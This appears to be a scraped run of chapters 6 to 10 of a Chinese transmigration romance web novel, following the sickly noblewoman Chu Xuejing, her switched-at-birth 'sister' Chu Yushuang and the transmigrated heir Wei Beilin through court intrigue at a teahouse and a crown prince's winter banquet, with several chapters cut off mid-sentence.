明眼人都能看出来萧胤玦对她有意,前世的褚雪镜也是这么觉得的,她对男女之情没什么想法,拜病所赐读过的话本子倒是不少,一心想着救命之恩以身相许,还真傻傻走进人家精心布置的死笼了。 她记得,这场围炉煮酒褚玉霜也会去。 褚雪镜像是忽然想到什么好玩的事,弯唇笑了一下,摆手让秋芝将东西收走。 秋芝犹疑道:“小姐, 6. 雅间 《变成恶女的猫后被读心了(穿书)》全本免费阅读 和秦合欢约定的第三日午后,褚雪镜如约出现在如意楼。 虽然乔恩兰以她旧病未好为由几次妄图让她打消出门的想法,但褚雪镜打定主意要做的事没人能动摇——这还多亏这些年乔恩兰和忠远侯褚振明的有意纵养。 天色微霁,路上行人便多了起来。褚雪镜到的时候,秦合欢已在和风雅间静待。 如意楼是如今金陵城风头最盛的酒楼,除它酒菜一绝外,最享盛名的就是它的雅间。如意楼雅间分三等,一等雅间只有四间,分别以四季莺时、槐序、白藏、玄英命名,但这四间雅间长年被人留定,至今无人知晓其中风光;往下二等有九间,秦合欢所说的和风就是其中一间,一般订下此等雅间的多为王公贵族,订金不菲,胜在私密独立,不失为谈事的好去处;最末三等则有二十间,厢间有推窗可观楼中歌戏,最宜享乐。 秦合欢愿意花大价钱订在如意楼二等雅间,褚雪镜并不意外。毕竟秦合欢虽视财如命,但极具职业操守,交给她做的事没有她办不成的,而这等涉及雇主私事的要谈,她自然会选择她认为最稳妥的地方。 褚雪镜对她很放心。 她将秋芝留在雅间外,独自进了雅间。秦合欢闻声将窗前的厚帘放下,挡去天光和残风,她抬眼瞧了瞧褚雪镜,笑道:“褚姑娘今日气色不错。” 褚雪镜日日与病气缠绵,早已习惯了旁人打量她时隐含的怜悯,但秦合欢很好,她不会。 雅间内烧了暖炉,比一般人家中烧得更旺,连褚雪镜都感受到了蒙卷的热意,她对秦合欢笑了笑,“秦馆主容光焕发,可是有什么好事?” 秦合欢摸了下脸,从怀中拿出一封信推到褚雪镜面前,“算不算得上好事得你自己来看了。” 信中详细写着杨春明和白音的生平——杨春明生于沧州,父母早年因瘟疫双亡,他有幸得救后便回了乡下祖地以务农为生,天成十六年与隔壁村村长之女白音结识成亲,天成十七年白音怀孕,两人举家离乡上金陵,后来两人再有音讯,便是在嘉元二年出现在金陵城郊以做木工为生,育有一女,年九岁。 据秦合欢探查,这时两人的“女儿”已是褚玉霜了。 “他们中间消失的时间在哪里去做了什么几乎毫无痕迹,让人无从得知。”秦合欢也没料到一对普通的乡下夫妻竟会无影无踪九年,又莫名其妙出现在金陵,简直匪夷所思,“目前没有直接证据表明你是他们的亲生孩子。” 褚雪镜将信合上,脸上看不出什么情绪,“还有么?” 秦合欢眉头一动,“你见过他们吗?” 前世见过。褚雪镜抿了口茶,只摇了摇头。 “杨春明粗眉鹰鼻,方脸帆舟唇;白音凤眼肤深,眉窄高颧……”秦合欢幽幽叹了口气,“我能说凭眼缘吗?你一看就不像他俩生的。” 褚雪镜:“……”倒也不乏是一种新奇角度。 雅间配着品茶的糕点,是时下最兴的梅花玉糕。褚雪镜拈起一枚轻咬一口,梅花的香气在口中晕开,甜滋滋的却不腻人,秦合欢见状也拣了一块来尝,不禁道:“不愧是五十两两个时辰的雅间,准备的糕点也不俗。” “五十两两个时辰?”褚雪镜不曾订过如意楼的雅间,只听说是寸土寸金,但没料到这般狮子大张口,“秦馆主破费了。” 秦合欢无所谓地摆了摆手,“你给我的远不止这点,谈不上破费。” 她三两口解决了一块梅花糕,接着道:“入冬后你几乎不怎么出府,想必不知道忠远侯府如何发现褚玉霜、原本的杨玉霜身份的——据说那日忠远侯夫人恰好想新打一套雕花妆奁,而杨春明不仅木工了得,雕花亦是好手,于是忠远侯夫人上门问询,一眼就注意到了在帮忙的杨玉霜,一种来自亲生母女的羁绊指引着她叫她瞬间落泪……” “滴血认亲?” “那倒不是。”秦合欢讲得生动多彩,仿佛当真见到了两人认亲的场景,“忠远侯夫人激动地发颤,一把握住了杨玉霜的手,泪流不止,而杨玉霜见她那副模样竟也如心绞一般潸潸泪下,杨春明和白音不明所以,忠远侯夫人便问杨玉霜是否腰间有像蝶蛹的红胎记,结果果真如此,杨春明夫妇这才有些印象,想起十七年前在禹州陵禅寺曾与忠远侯夫人有过一面之缘。” “白音和乔恩兰都在陵禅寺生产,慌乱间不慎抱错了孩子?”褚雪镜放下吃了一半的梅花糕,这梅花玉糕浅尝惊艳,食多便觉单调,要饮茶压一压,“那时乔恩兰本记得孩子腰间有胎记,但因生产太过虚弱晕了过去,再醒来时孩子身上没了胎记也只以为自己记错了,直到再次见到褚玉霜才知道原来自己的亲生孩子一直流落在外……我猜的对否?” 秦合欢忍不住为褚雪镜的推测鼓掌,“分毫不差,褚姑娘不去当说书人简直是屈才。” 褚雪镜宠辱不惊,冷静道:“话本子都是这般,只怪她们无甚新意。” 秦合欢看着她正经严肃的脸,憋了又憋,还是没憋住笑出了声,“褚姑娘果真是妙人,这一单我接的不亏。” 随即她又正色起来,“你也觉得不对劲?不过这戏演得真是漏洞百出,若是你同褚玉霜当真是抱错的,为何不见你亲生父母来寻你?” “若我不查,便是天衣无缝。”褚雪镜垂眼看着瓷杯中清亮的茶水,隐隐映出自己淡漠的眉眼,“我娇纵无脑乃是金陵出了名的,漏洞百出的戏糊弄别人不成,糊弄我足够了。” 秦合欢挑眉,“褚姑娘看着可不像传说中的娇纵无脑之人,那些人有眼无珠倒是给你留了破绽。” 褚雪镜低低笑了笑,抬眼像是寻常好奇话本内容的小姑娘,“后来呢?她怎么‘说服’杨春明夫妇让褚玉霜认祖归宗的?” 秦合欢耸了耸肩,“这倒是没传出来,不过据杨春明的街坊邻居说忠远侯给了他们不少金银财宝,昨日两人已经搬离金陵了,只是具体去了哪,又是无人知晓。 连我的暗探也找不到他们的行踪。” 十七年前凭空消失,九年前莫名出现,现在同样的剧情继续上演……褚雪镜缓缓托腮,忽然道:“他们的每次出现都像有什么任务要完成,完成 7. 郡主 《变成恶女的猫后被读心了(穿书)》全本免费阅读 照寻常人家来说,家中儿女病弱理应多安排一些人手,但褚雪镜不喜人多,因此及笄之后身边就只带着秋芝,秋芝性情稳重行事体贴从不让她操心,可惜她前世出嫁时秋芝便失踪了。 她此番并非想责骂秋芝什么,说到底秋芝只是侍女,而她是乔恩兰的“爱女”,听命乔恩兰再正常不过了。 秋芝颤巍巍地抖着眼睫,颊边滑落两滴泪,“小姐……” “好了。”褚雪镜动作轻柔地为她擦去泪水,又伸手要扶她起来,秋芝泪眼汪汪地看着她,不敢站更不敢让褚雪镜费力气,最终还是自己站了起来。 少女神情看不出喜怒,仿佛无形中给人判刑,反而令人心惊,秋芝忍不住出声唤她,“小姐……” 褚雪镜“嗯”了一声,总算开口道:“说说你知道的。” 秋芝想到她方才说的“背叛”二字,心中便有数了,“自我在小姐身边起,夫人就常常叫我去她院中询问小姐的情况。起初只是问些日常小事,奴婢私以为夫人是忧心小姐,于是一五一十的都告诉夫人了,但夫人不让奴婢向小姐提及此事,奴婢……” 褚雪镜不置可否,指尖随意敲了敲桌面,“还有呢?” “近月来,夫人找奴婢越来越频繁,叮嘱奴婢一定要看着您吃药,您出府去何处也要向她禀报。”她咬了咬牙,又扑通一声跪了下去,连连给褚雪镜磕头,“小姐,奴婢万万不敢背叛小姐,能在小姐当差是奴婢三生修来的福分……” 她喉头一哽,泪又滚了下来,“奴婢无父无母,唯有一妹妹在夫人院中,夫人有令奴婢不敢不从。” 看来当年摆在她面前的侍女们各个都有把柄在乔恩兰手中,她这个“母亲”还真是机关算尽。褚雪镜不禁哂笑,对待她这种蠢人也要这般细心筹谋,倒是费不少力气。 她起身,淡淡道:“走吧。” 秋芝一怔,她本以为小姐会敲打她一二,虽说乔恩兰问的都是小事,可说好听了是担心,说难听了就是监视,她和小姐皆心知肚明,小姐怎么…… 褚雪镜见她仍跪在原地,只得解释道:“我羽翼不丰,忽然将你妹妹要来恐引她生疑,日后她若问你,你便像以往一般回她就是。” 乔恩兰有问秋芝就答,但答的分寸掌握在秋芝手里。从前她痴傻蠢笨,乔恩兰从秋芝那问来的不过是为了安心,然今后…… 褚雪镜朝秋芝伸手,示意她起来。 “你我相伴三年,我信你秉性,秋芝,别让我失望。” 就像她对秋芝说的,如今她羽翼不丰,身边自然无人可用,若说敲打,她又有何资本。 只能赌。 …… 如意楼的客堂每日都会排演,时是歌戏时是说书,今日恰好是东郭先生讲书,堂中坐立人许,连楼阶也挤着人,称得上人满为患。 人多气杂,幸而褚雪镜戴了帷帽能遮掩几分,秋芝走在前面帮她开路,然而两人还未下楼,便听身后有人斥道:“褚雪镜!” 秋芝回头看她,褚雪镜眉头一蹙,心道冤家路窄,却不回头,只对秋芝道:“走。” 秋芝应了护着她要下楼,哪知那人不依不饶,竟是三两步就窜过来一把抓住了褚雪镜的手臂,不悦道:“褚雪镜,本郡主叫你你装聋是不是?” 褚雪镜:“……” 所谓躲不过初一躲不过十五,就是今天躲过了明日的围炉煮酒也得再见,褚雪镜不想做得难堪,只得福身道:“清平郡主。” 萧云瑶将她拉到无人处,褚雪镜才看清她身后还跟着两个侍女以及…… 褚玉霜。 萧云瑶似是注意到褚雪镜的视线,偏头看了褚玉霜一眼,不由幸灾乐祸道:“怎么?不认识她?” 褚雪镜还未张口,褚玉霜已经上前朝她盈盈一福,“二姐,母亲说你到如意楼来品茶,恰好郡主要来听书便带上了我,本以为二姐已经回府了,没想到这么巧还能碰到二姐。” 轻薄的白纱模糊了萧云瑶和褚玉霜的身形,褚雪镜指尖一抖,一股莫名的窒息感从脚底升腾至心肺,褚玉霜像摆脱不掉的背后灵,时时刻刻在她看不见的地方窥视着她,又忽然出现,满意地看着她惊慌失措,然后享受这种折磨人的乐趣…… 褚雪镜压下心底发酵的怒意,克制道:“是很巧。” 相对于褚玉霜,她更恨直接将她推入深渊的忠远侯夫妇和萧胤玦,但这不代表她能纵容褚玉霜的一切,也不代表她忘记了褚玉霜的所作所为。 前世她对褚玉霜自觉亏欠,因此无论她做什么褚雪镜照单全收。 事实上在褚玉霜才回府时,府中下人都说她是从乡下回来的,做事畏畏缩缩一点也没有小姐风范,她便以为褚玉霜暗里饱受欺凌,明里暗地帮她竖威,却被人说她目中无人、还想霸占忠远侯夫妇的疼爱;若她受邀参宴,亦不曾冷落过褚玉霜,想着能弥补她、帮她一些,好过冷眼旁观,最终落得一个“苛待嫉妒”的名声。 前世褚玉霜也像现在这般喜欢莫名其妙和她“偶遇”,那时她以为褚玉霜是初回府感到不安,到头来其实是她自作多情,错把乌头当莲花。 她不清楚褚玉霜对当年之事知晓多少,或许褚玉霜是不满她“鸠占鹊巢”,又或许是别的原因,不管是什么,她受够了这种被人如影随行的感觉了。 褚雪镜无法确定她们有没有看见秦合欢,但此时她已经管不了那么多了,“若无要事……” “你这么着急做什么?”萧云瑶是当今长公主的亲女,知道的秘辛自然比平常人多,她与褚雪镜积怨已久,免不得要借此事嘲讽,“褚玉霜可是你的亲妹妹,她好不容易被找回来,你不得多陪陪她么?” 萧云瑶特地将“亲妹妹”三字着重强调,可惜褚雪镜头戴帷帽,否则她还能欣赏一下褚雪镜吃瘪愤恨的神情。 然而褚雪镜只是说:“郡主在此,臣女便不扫郡主的雅兴了。” 她偏头唤了秋芝一声,转身就没于人群中。 “诶!”萧云瑶上前一步还想拦她,回头见褚玉霜低垂着眼,似是黯然神伤,只得放弃看褚雪镜好戏的想法,“算了算了,也不知道她今天发什么疯。玉霜,我们进 8. 围炉煮酒 《变成恶女的猫后被读心了(穿书)》全本免费阅读 “卫世子,请。” 卫北临不咸不淡地颔首,在侍从的指引下落座。他穿了一身月白云银暗纹锦袍,披了件靛青鹤氅,玉冠仙貌,若不是在场人都知道他荒诞不恭的性子,怕是也要叹一声公子如玉。 果不其然,卫北临甫一坐下便开口道:“怎的这般冷清,你们都不讲话?”话落,他自顾自拣了一块桌上摆的冷糕咬了一口,有点难吃,遂放下。 “世子,今日是太子设宴,您收敛些。”惯然好福早已习惯周围人看猴似的目光,也不得不低声提醒卫北临一二。 卫北临敷衍地点了点头,暗道今天的人设kpi又完成了10%,除了头有点晕,一切都很好。 也不知道昨夜褚雪镜发什么疯,莫名其妙把他从窗上撂进雪堆里,害得他一头扎进雪里,直到晨起回到自己身体里也没缓过来。 他长叹一声,懒洋洋地往后一靠。今日虽是太子办宴,但主位空席,想来是日理万机还未到宴,故而卫北临没有拘束,摆足了纨绔的架子立人设。 穿来几日他已经不像起初那般无措,大概摸明白了原主在金陵城的境地——总之他只需要老老实实扮演膏粱子弟,尽情吃喝玩乐,甚至不必太在意礼节事故,越浪////荡越好,金陵中人无一不会忍让他——除了在皇帝面前要谨小慎微,其余不要太自由。 其实他也不明白皇帝如此用意为何,据卫北临所知,皇帝是因原主父亲掌有兵权在北境打仗才将原主留在京中作质以防原主他爹造反的,而皇帝是位仁君,并不苛待原主,事事纵容——起初卫北临觉得这和忠远侯府溺爱褚雪镜无甚有异,可他这几日进宫,总觉得哪里不对劲。 若是要捧杀原主,何必监督他做功课呢,直接放养他让他什么都不会岂不是更无威胁? 伴君伴虎,君心似海针,他虽直觉其中有猫腻,却不能问出口。 “失忆”能糊弄身边的小厮,但糊弄不了一国之君,好在好福是原主从北境带来的亲信,因此直到现在也没露馅,只是情势不明,还是先走一步看一步,尽量维持原主人设活下去再论其他。 不过这冷糕着实太难吃了些,卫北临抬手招来宴上小厮,“可有别的糕点?这个……”他指了指自己咬了一半的冷糕,露出一个一言难尽的表情。 小厮面色复杂,这本就是摆着好看的,毕竟哪有主人家没来就先吃上的,可谁让说此话的人是卫北临,他就是说这桌子不好看他也得给他换一个,于是作揖道:“小的这就到后厨给您换。” 卫北临露出满意的微笑,纨绔的好处就是这了。 他穿过来还没在哪碰过壁——褚雪镜除外。 他猜测八成有人看不惯他,不出所料,下一瞬就听人开口:“卫世子府中没吃过糕点不成?” 虽说卫北临仗着他爹在北境打仗、皇帝又纵着他在金陵城中耀武扬威是常事,但他总归只是个世子,金陵城中不喜他的占多数,萧元灏为其一,“皇兄还未到场,你还挑三拣四上了。” 萧元灏神色倨傲,他还有更难听的没说,卫北临一个从北境来的“土匪”,就算在金陵见过再多世面也上不得台面,可惜眼下卫北临是皇帝面前的“红人”,他也没蠢到为了一时口舌之快给旁人递被父皇责骂的把柄。 “自然是吃过的,”卫北临才不恼,他巴不得别人找他麻烦他让好把“纨绔浪荡子”这个人设贯彻到底,“就是没吃过这么难吃的。” 太子设宴,这不就是在内涵太子照顾不周么?说小了是太子连一场宴会也如此疏忽,说大了就是一国储君连宴会这种小事都办不好。萧元灏向来尊敬景仰二哥萧胤玦,心知自己是好心办坏事,不由气得咬牙,干脆甩袖不搭理他。 卫北临哪知道他脑补了这么多,他穿来这么久的确没吃过这么难吃的糕点,就连当猫时吃褚雪镜小厨房做的小食都比这个好吃。 更何况他宴前不说,难道等萧胤玦来了再说么? “皇兄事忙,宴中饮食乃是我一手操办,恐有不周,还望各位海涵。”萧元灏闹这一通,原就尴尬的宴上更是落针可闻,萧元璟作为萧元灏的亲兄,只得起身开口打圆场。 宴中虽大都是世家子女,可皇子的面子还是要给的,纷纷都道无碍。话已至此,萧元璟干脆叫来小厮将宴上大家面前的冷糕都换了。 “卫世子,实在抱歉。”卫北临是最先提出此事之人,故而萧元璟特地朝卫北临遥遥一拜,饶是“纨绔”卫北临也知道“伸手不打笑脸人”的道理,便也起身还礼,算全了皇家的“颜面”。 此番插曲一过,庭外忽传来声响,萧云瑶未见其人先闻其声,“我道是谁,原来是卫世子。” 当今皇上子嗣丰绵,育有五位皇子三位公主。除四皇子萧元璟、六皇子萧元灏及太子萧胤玦外,三皇子萧元璋已在前两年战死,五皇子萧元浔已封王去了藩地,无召不得回金陵;而三位公主中大公主出塞和亲,八公主尚在襁褓,七公主年仅七岁不宜参宴,因此皇室女眷只有萧云瑶前来。 她讥笑道:“卫世子怕不是日日花天酒地,把嘴养刁了。” 卫北临像听不懂她在说什么,胡笑,“谬赞谬赞。” 萧云瑶:“……”谁夸他了? “好了。”众人这才发现太子萧胤玦不知何时出现在萧云瑶身后,这场闹剧他又听去了多少。 他穿着一袭玄色蟒袍,眉眼温和,举止间颇有君子风范,却不失上位者的压迫感,“云瑶,不得无礼。” 萧云瑶撇了撇嘴,她傲天傲地谁都不服唯独服这位太子表哥,闻言当真不说了,只是翻了卫北临一个白眼。 卫北临:“……”他越过两人的身影,看见了在他们身后的褚家人。 原书中褚雪镜心系太子、非太子不嫁,而萧胤玦因将幼时与褚玉霜的情意错安在褚雪镜身上,因此金陵城中皆盛传太子与忠远侯二小姐褚雪镜两情相悦,有意纳她为妃。 褚玉霜虽记得幼时与萧胤玦的承诺,可萧胤玦对褚雪镜的照顾众人都有目共睹,于是只能黯然神伤,将心意埋藏在自己心底。 但萧胤玦在和褚玉霜一次又一次的接触中逐渐发现自己并不喜欢褚雪镜,只是因为小时候的相处才对褚雪镜多有关注,实际是把褚雪镜当妹妹一般,他真正爱的人其实是褚玉霜。 可惜他想明白时已为时已晚,他和褚雪镜已有圣上亲指的婚,然而在新婚当天褚雪镜和褚玉霜皆命丧火场,萧胤玦痛失所爱,却意外得知褚玉霜才是幼时陪伴自己的人,自此疯魔,在得知褚玉霜尚在人世的消息后开启追妻火葬场。 卫北临是穿书来的,可他不是傻子。萧胤玦的确没明摆出对褚雪镜的特别或喜爱,但男人的直觉告诉他,萧胤玦绝对对褚雪镜有情。 不是书中描写的“幼时情意”的情,而是真正的男女之情。 男人右眼狠狠跳了一下,莫名有种不祥的预感。 褚雪镜容色胜华,不知是不是见到心上人的缘故,眼尾似都含着笑;褚玉霜低眉顺眼地站在她身边,微垂着头,仿佛雨打秋叶;而褚朗站在两人身前,见卫北临看过来以为是瞧见了自己,兴奋地朝他挑了下眉。 卫北临:“……”他没忘记前两日褚朗发的神经,视线平移挪开,装作没看见。 卫北临沉思间萧胤玦已示意侍女安排褚家兄妹就座,先一步走上主位,扬声道:“人已到齐,今日非正宴,大家不必拘束。” 话落,他便召来侍女小厮捧上雪水新茶以及小炉,随后又端上配着梅花糕的梅花酒,淡淡的梅花香气在庭中散开,细嗅还裹了几分雪的冷意。 “好酒。”宴中有人叹道,“殿下这是下血本了。” 萧胤玦爽朗道:“府中酒匠新酿,孤尝过觉甚好,想着冬日天冷,正是品酒煮茶、听书赏雪的好时候,便邀大伙一聚。” 萧胤玦此举并未瞒着什么人,作为太子,自然不能厚此薄彼,因此各家都送上了请帖。为防被皇帝疑有拉帮结派之举,故亦不曾瞒着朝中,皇帝默许,这冬日赏雪宴才开得起来。 卫北临抿了一口梅花酒,他不善饮酒,即便花酒花香甜柔,他仍觉得辣嗓子。 他盯着手中杯酒两瞬,狠心仰头一口闷了。 拜托,他是纨绔诶,喝酒肯定很厉害。 “卫世子,这酒你尝着可好?”萧胤玦不知怎的突然提到卫北临,分明席上人人都在饮酒,卫北临寻声抬眼,见他分明面上含笑,却目光沉沉,看得卫北临浑身如蚁乱爬。 卫北临忍着酒气往脸上窜的热意,看着依旧是那副什么都无所谓的模样,冷静道:“殿下的酒当然是好的。” “所谓品酒品酒,”萧云瑶忍不住讽道,“卫世子一口就喝完了能品出什么来?” 这是在暗里刺他不懂饮酒、行径粗鲁了。卫北临拿出万能装傻公式,“梅花酒,那不就是梅花味儿?” 他没见过萧云瑶,但看她和萧胤玦一同到场,想来是个公主郡主之类,“您尝出什么来了?” “嘁。”萧元灏的不屑都写在脸上,隔着席也要和萧云瑶一唱一和,“你以为谁都跟你一样……” “六弟。”萧元璟作和事佬拉他,旋即对着卫北临抱歉地笑了笑。 这兄妹几个换着唱红白脸,还真挺好笑。卫北临眯着眼打量他们两眼,无声嗤了一下。 一群神经病。 “卫世子 9. 迷路 《变成恶女的猫后被读心了(穿书)》全本免费阅读 褚玉霜早就看出来,她这个二姐表面做得骄矜高傲,实则心软如观音,旁人稍微哄一哄就什么都信了。 她故作惶恐焦灼地央着她,她便面露难色,全然不在乎她这个才回府的真千金是什么货色,真要陪她去了。 秋芝见状要跟上,褚玉霜道:“你和莲蕊都留下吧,我和二姐出去走一走说说体己话。” 秋芝显然不放心,看向褚雪镜,褚雪镜不作否态,她只能对褚玉霜微微福身道:“是,三小姐。” 褚雪镜敛了敛斗篷,敏锐地察觉到某人的视线愈发急切,她不知道卫北临知道的剧情是什么样的,想来也应该是她恶毒褚玉霜良善的戏码,结合前世外界传言看,估计写的是她故意撇下褚玉霜害她迷路罢。 苍天可鉴,褚雪镜摸着汤婆子悠悠想着,褚玉霜虽然“迷了路”可她收获了爱情啊! 那头褚雪镜才随着褚玉霜出去,卫北临就有些如坐针毡。 褚雪镜害褚玉霜迷路是小事,但褚玉霜会因此挨饿受冻,直到遇到出来寻人的男主,等之后两人重归旧好,这些是就全会算到褚雪镜头上——即便那时褚雪镜已经死在大火里了,但她的恶名像盘旋在死尸上的秃鹫久久不散。 勿以恶小而为之,卫北临将杯中最后一口酒灌下肚,让好福同萧胤玦禀报一声他要出去冷静一下醒酒,便独自离席而去。 …… 和金庭明面上是金陵城中的名景,高山陵江,实际是皇室的私有产,每日都有仆从清扫。 今日太子设宴,更是早早将地上的浮雪扫尽。两人静静走着,冷风刮得人面生疼,连汤婆子的温度也开始流失。 褚雪镜将斗篷又拢紧些,宴上虽吵闹,好歹暖和。 “二姐,金陵城中此般宴会有许多么?”褚玉霜忍了一路,终于出声和她搭话。 褚雪镜步子缓慢,她不想走太远,“不多不少,多的时候两三天一次,少的时候十天半个月都没有。”金陵城是大燕的都城,世家勋贵、皇亲贵族在这里一抓一大把,自然免不得结交宴请,就连褚雪镜这种恶名远扬的病秧子也推脱不了几次。 褚玉霜又语气不明问:“二姐喜欢这种宴会么?” 褚雪镜说:“不。” “那二姐喜欢什么?” 褚玉霜这话问得奇怪,褚雪镜停下脚步回头看她,“嗯?” 褚玉霜对她抿出一个乖甜的笑,“想多了解二姐一些。” 多了解她好解决掉她么?褚雪镜不记得前世她有没有问这些话,但都无所谓了,随意道:“喜欢睡觉。” 闭上眼就像死了一样,什么都不在乎,惨死的前世也好,谜团般的身世也好,统统都能化为泡影,在入梦那一刻可以变成任何人的事。 反正不是她的。 褚玉霜“噗嗤”笑出声,褚雪镜蹙眉望向她,不明白有什么好笑的。 前世褚玉霜算计自己那么多次,她直到死前才后知后觉,但这些和直接害死她的人比显得无伤大雅,因此她才能对待褚玉霜如此冷静,可她仍然对褚玉霜没好感就是了。 更别说昨日褚玉霜还阴魂不散的,唤醒了她前世许多不好的记忆,她便更心烦了。 褚玉霜道:“二姐和传言中的并不一样。” 原来是因为这个,褚雪镜抬脚继续走,等着她演要回去找东西的戏码。其实她也不确定自己娇纵跋扈的名声是从何处传出去的,她身体不好,但没做过仗着生病要星星要月亮的事…… 算了,事到如今褚雪镜已经懒得在乎这些了,她瞥向褚玉霜,干脆自己问:“你是不是掉了什么东西?” 褚玉霜还带着笑意的面上一僵,她的确准备用这个理由撇下褚雪镜回去假装迷路失踪,可褚雪镜怎么会知道? 她抬眼望向褚雪镜没什么波动的眉眼,褚雪镜觉得有点冷,只想尽快结束,苍白的脸上面无表情,完全没有提前知晓自己会被耍的神情。 想来是巧合,褚雪镜可能正巧看错了。褚玉霜微微放下心,借坡下驴,“我的香囊好像掉了,二姐看到了吗?” 褚雪镜冷漠地扫过她空无一物的腰间,煞有其事道:“应是掉路上了。” 褚玉霜抿了抿唇,作出一副焦急的模样,“那香囊是大哥送我的,……二姐,你且在此处等我片刻,我去找找很快回来。” 终于能甩掉她了。褚雪镜眼尾一舒,连语气都温和了几分,“去吧,别迷路了。” 褚玉霜脚下一绊,险些自己摔了。 许是心中有鬼,她的背影显得格外仓促,比平日在褚雪镜面前装模作样要真实不少。褚雪镜罕见地因为褚玉霜流露出几分笑意。 别说,还挺好玩的。 …… 天微飘着雪,褚玉霜低着头疾步走着,不远处忽然传来一道男声。 “喂!” 褚玉霜狭眼去看,漫天白雪中站着一男子,抱胸杵着,似是在等什么人。 眼下完成计划才是最重要的,她不想节外生枝,于是只看了一眼便收回目光垂头继续走。 卫北临奇了,这女主埋着个头瞎走不迷路才是奇迹,他隐蔽地抖了抖自己站僵的脚,又喊了一声,然而女主就像听不见一般,卫北临眼睁睁看着她与自己擦肩而过,脱口而出:“褚雪镜呢?” 褚玉霜脚步一顿。 她身形微愣,似是才反应过来卫北临在和她说话,小声问:“您问我二姐么?” 卫北临:“对。” 褚玉霜眼睫轻颤,仍然是那副谨小慎微的模样,声音淹没在风声里,“我不知。” 卫北临什么也没听见,“啊?” 褚玉霜沉了口气,道:“我与二姐一同出来,二姐说她掉了东西要回去寻,我便找不到她了。” 卫北临诡异的沉默了一会儿,他跟在两人后面出来后就在此处守着,并不见褚雪镜的身影,他扫了一眼褚玉霜,忽然说:“你迷路了?” 褚玉霜眼角一抽,她今天是出门没看黄历么,“……嗯。” 卫北临等的就是这句话,他抬手一指,很是热心肠的语气,“前面左转,分叉口右转,直走遇分叉口再左转,左右左,记住了吗?” 褚玉霜:“……记住了。” 卫北临松了口气,女主应该没那么笨,他都说那么明白了总不能还迷路吧,他挥了挥手,“去吧,别迷路了。” 褚玉霜莫名抬头瞪了他一眼,但卫北临还没看清楚,她就又垂下头,老实巴交地行了礼,“多谢。” 卫北临嘿嘿一笑,解决这个剧情点,褚雪镜短时间就看不出男女主的猫腻了,转眼见褚玉霜还跟木头一样立着,他又挥手催她,“回去吧,你不是迷路了吗?” 我可是在为你们的爱情添砖加瓦呢。 褚玉霜诺诺要走,走了两步忽然转身,细声问:“我回去了万一二姐……” “没有万一。”卫北临胸有成竹,“放心,我碰到她会跟她说的。” 看来这镇北王世子不仅是个纨绔还有病,褚玉霜咬牙,可惜她现在人微言轻,扳不动卫北临这尊大佛,只得抬脚离开。 她本想转道甩掉他,但此人的视线如同狗皮膏药,像是不看到她走对路不罢休。 褚玉霜额角青筋直跳,她又不是真 10. 阿云 《变成恶女的猫后被读心了(穿书)》全本免费阅读 褚雪镜还未回到庭中,先在半路遇到了出来寻她的秋芝。 “小姐。”秋芝将她里里外外看了一遍,确认她毫发无损才松了口气,“三小姐回去说找不到您,奴婢都要急死了。” “我好着呢。”话是这么说,褚雪镜藏在斗篷中的手早已冷得发颤,“回去吧。” 秋芝欲言又止,借着为褚雪镜掸去肩头的落雪凑近,低声道:“三小姐说您落了东西回去找就不见了人影,因此她才先回宴的,小姐……” 褚雪镜安抚般对她笑了笑,“没事,随她如何说。” 秋芝仍然神色恹恹,似是替她心寒,褚雪镜张唇要说什么,喉间却涌上一阵痒意,只得偏头轻咳。 如此秋芝便顾不得旁的了,连忙抚着褚雪镜的背脊顺气,褚雪镜下意识要从怀中取手帕,冻僵的手不受控制地脱力,拢在怀里的汤婆子便滚落到地上,磕掉了螺帽。 “褚……二小姐。”入目是一袭月白色锦袍宽袖,不用抬头也知道是谁。秋芝眼观鼻口观心,先一步接过卫北临捡起的汤婆子。 褚雪镜垂眸用巾帕擦了擦唇,淡淡道:“多谢。” 卫北临点了下头,收回手便走,不经意略过一黑衣佩剑之人。 他见过此人,此人是萧胤玦身边的得力助手,时常伴在萧胤玦左右为其做事,若他出面定然是太子授意。 男人步履微缓,身后人交谈的声音隐隐绰绰传来。 “二小姐,我家殿下有请。” 褚雪镜的语气听不出欢喜与否,“闻侍卫,这不合礼数。” “二小姐……” 余下的话语被风声吞没,卫北临面无表情地回到席位,宴桌上已盛了新酒,每人面前摆着一个热气腾腾的铜锅,和后世的火锅无甚区别;除铜锅外,手边瓷盘里还精心布着薄薄的鲜肉片和鲜嫩的笋菜。 铜锅里滚着沸水,食物的香气顺着锅中腾起的雾勾得人味蕾大开,卫北临却无端没什么胃口,余光不住地扫过对面席位的空处和同样空空如也的主位,更是心里像堵了山,别说大快朵颐,他恨不得捶一捶自己的心肝肺全吐出来才好。 “世子?您还好吗?”卫北临的脸色过于阴沉,宛如从阴沟里捞出来的、长满绿苔的臭石头,好福弱弱出声,“您……” 他想说您是不是酒还没醒透,下一瞬卫北临就提起酒壶又满了一杯酒,仰头灌了下去,将他的未尽之语塞回去个全。 寻常时候世子就算贪酒也都是笑盈盈的,这般苦仇深恨除了世子被留在金陵那夜他见过,就算平日里金陵那些王公贵族再如何明嘲暗讽卫北临都依旧笑靥不改。 好福默默叹了口气,世子从磕了头之后就变得古怪起来,连他如今也摸不准卫北临的想法了。 辛辣的酒一杯接一杯流进喉管,直到五脏六腑都被酒精烧得灼热,酒杯才堪堪被放下,而饮酒之人眼尾通红,面如红霞,似乎倒头就能栽过去。 “看来殿下的酒的确是好酒,连日日与酒作乐的卫世子都忍不住贪杯哈哈哈……” 萧胤玦不在,这些人胆子便更大了起来,就算皇帝表面再如何喜爱卫北临,他也不过是只被折了翅膀的鸟,又能如何呢? 可惜纵然杂语纷纷,处在议论中心的人都听不见了,卫北临倒头一趴,似是当真醉了个彻底。 一个醉鬼就没什么好说的了,任你冷嘲热讽,人家穿耳过,就像一拳打在棉花上,哪有个中乐趣。 “殿下说,既然卫世子醉了,便回去歇息吧。”闻五悄无声息地出现在席上,原本飘乱的碎语霎时收了声。 卫北临感觉到自己被人架了起来,身体的无力和麻木反而让他的头脑愈发清醒,方才莫名生出的情绪亦因为“昏睡”的肉///体逐渐平复。 到底关你什么事啊?卫北临趁此机会反复告诫自己,他只是个无辜被拉进书里的可怜人罢了,旁人的命运到底和他有什么关系? 褚雪镜要生要死都好,恋爱脑也好,反正不会让他怎么样;再说了,就算他是为了他自己也该多操心男女主的事、要抱大腿也是抱男女主的大腿,管她一个恶毒女配做什么?搞得像要死的是他、失恋的是他一样。 卫北临被好福搀着跌到了马车上,后脑在车壁磕了一下,先前在心中振振有词的想法随着这一磕一并烟消云散。 